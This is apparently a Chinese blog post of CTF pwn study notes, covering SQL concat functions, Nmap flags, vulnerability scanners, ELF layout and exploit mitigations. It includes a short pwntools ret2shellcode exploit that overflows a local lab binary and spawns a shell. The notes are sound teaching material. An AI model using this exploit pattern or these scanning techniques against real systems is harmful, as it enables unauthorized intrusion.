5m21d缓冲区溢出pwn笔记

mysql链接字符串函数
- concat(str1,str2)
- concat_ws(separator,str1,str2….)
- group_concat(str1,str2….)
- mysql的concat函数可以连接一个或者多个字符串
- concat(username,0x23,password,0x23…..)
- concat_ws()函数,表示concat with separator,即有分隔符的字符串连接
- group_concat()函数,把每一行数据分到一个组里显示出来

https://www.shodan.io/ 搜索引擎 撒旦

Maltego工具
开源的漏洞评估工具、
Nmap工具 免费的开放的网络扫描和嗅探工具包
可以探测存活主机,扫描主机端口,探测主机操作系统 nmap[扫描类型][参数] 目标ip
扫描类型
-sT TCP连接扫描,需要建立三次握手,会在目标主机中记录大量的连接请求和错误信息。
-sS SYN扫描,不建立三次握手,很少有系统记入日志,默认使用,需要用root(admin)权限。 -sP ping扫描,默认使用,只有能ping得通才会继续扫描
-P0 扫描之前不需要Ping,用于绕过防火墙禁ping功能,
-sA 用来穿过防火墙的规则集合(ACK置位),扫描端口时效果不好。
-sV 探测服务版本信息(服务指纹)
-sU UDP扫描,扫描主机开启的UDP服务,速度慢,结果不可靠

Nessus漏洞扫描工具
Nessus是全世界最多人使用的系统漏洞扫描与分析软件。总共有超过75000个机构在使用
该工具提供完整的电脑漏洞扫描服务,并随时更新其漏洞数据库

Vega工具是一款免费的开源扫描仪和测试平台,用于测试web应用程序的安全性,可查找SQL注入,跨站脚本(XSS)。泄漏的敏感信息及其它漏洞。

这里写图片描述

  • Ubuntu 16.04 64bit
  • sudo apt-get install binutils nasm nmap gcc
  • https://github.com/scwuaptx/AIS3-2017/blob/master/env_setup.sh
  • sudo echo”set disassembly-flavor intel”>~/.gdbinit

    pwn简介
    入门

    • pwn题目入门偏难
    • 前置知识多:c/assembly/linux/operating system
    • 不知从何入手:binary运行没结果
    • 参考资料难度参差不齐:大佬博客看不懂,书本知识太枯燥
    • CTF是真实漏洞的抽象
  • PWN题目信息
    二进制漏洞根源 RAM内存 寄存器属于CPU的变量、数据和指令要分开。
    pwn主要利用漏洞达成攻击者的目的。主要取得程序的控制权。

    • binary拿到后不会得到源码source code
    • 程序的源代码不容易获取,所以需要逆向分析
    • 静态分析
    • 动态分析
      PWN的常用工具
      IDA里看一看
      gdb走呀走
      pwntools结束战斗
      这里写图片描述

    gdb-peda checksec 查看开启的服务
    * elfsymbol查看调用的函数plt地址
    vmmap查看内存映射
    find 查找字符串
    工具Pwntools
    基于python的Exploit编写库

  • 文件格式
  • Linux 下为ELF
    .bss 存放未初始化的全局变量
    .data存放已经初始化的全局变量
    .text存放程序执行代码
    .rodata存放只读数据

  • Windows下为PE

汇编语言中的

shellcode

  • shellcode:将要在受害软件上执行的恶意代码
  • 作用
  • 启动shell
    接受shellcode的c语言代码
#include <stdio.h>
void main(){
    char *shellcode;
    read(0,shellcode,1000);
    void (*fptr)()=shellcode;
    fptr();
}

缓冲区溢出

  • Buffer Overflow
  • 程序中没有对输入长度做限制,导致攻击者可以输入过长的字符串,覆盖内存中的其他数据,进而控制程序执行流程。
  • stack
    • stack smashing
    • heap
  • ### Return to shellcode
  • Return to shellcode
  • 测试偏移覆盖返回地址
  • pwntools cyclic
  • gdb-peda
  • pattern create 100 shellcode
  • pattern offset
编译选项Test4:bof
  • 编译选项
  • gcc -fno-stack-protector -z execstack bof.c -o bof
from pwn import *

context.arch="amd64"
buf2_addr=0x601080

payload = "A"*40+p64(buf2_addr)
shcode = asm(shellcraft.sh())

#p = remote("127.0.0.1",6666)
p = process("./bof")
p.recvuntil(": ")
p.sendline(payload)
p.recvuntil(": ")

#shcode2 = open("code").read()
p.sendline(shcode)
p.interactive()

Proyection

  • ASLR
    • 地址空间随机化
    • 堆,栈,共享库每次运行的位置都要随机变化
    • 查看是否开启 cat/proc/sys/kernel/randomize_va_space
    • ldd查看地址
  • DEP
    • (数据执行保护)又称为NX
    • GCC编译默认开启 使用-z execstack 取消NX保护
  • PIE
    • 位置独立的可执行区域(position-independent executables)
    • gcc默认不开启,-fPIC -pie开启
    • data和code段跟着随机化,ret2shellcode没有固定位置可以利用
  • StackGuard
    • 又名canary,矿工曾利用金丝雀来确认是否有气体泄漏,金丝雀因为气体泄漏而中毒可以给矿工预警。
    • 随机生成在函数调用前将canary放入栈中,发现改变立即终止
    • 阻挡了stack overflow的攻击
    • gcc默认开启 -fno-stack-protector关闭
    • cannry的值存储在tls区段中的tcbhead_t结构中
  • RELRO

    • gcc -Wl,-z,relro,-z,now 开启full
    • disabled .got.plt /.got都可写
    • Partial(default) .got可写
    • Full 加载程序前解析全部函数 got表不可写
  • got(全局偏移量表)

    • 在got表中存放着函数真正的位置
      -PLT(过程连接表 )
    • CALL 400560

测试流程

  • 先泄漏libc中某函数的地址
  • 使用puts,printf等函数将GOT表中的函数地址打印出来
  • x86-64位上使用寄存器传递参数rdi rsi rdx rcx
  • pop rdi;ret

这里写图片描述

这里写图片描述

这里写图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值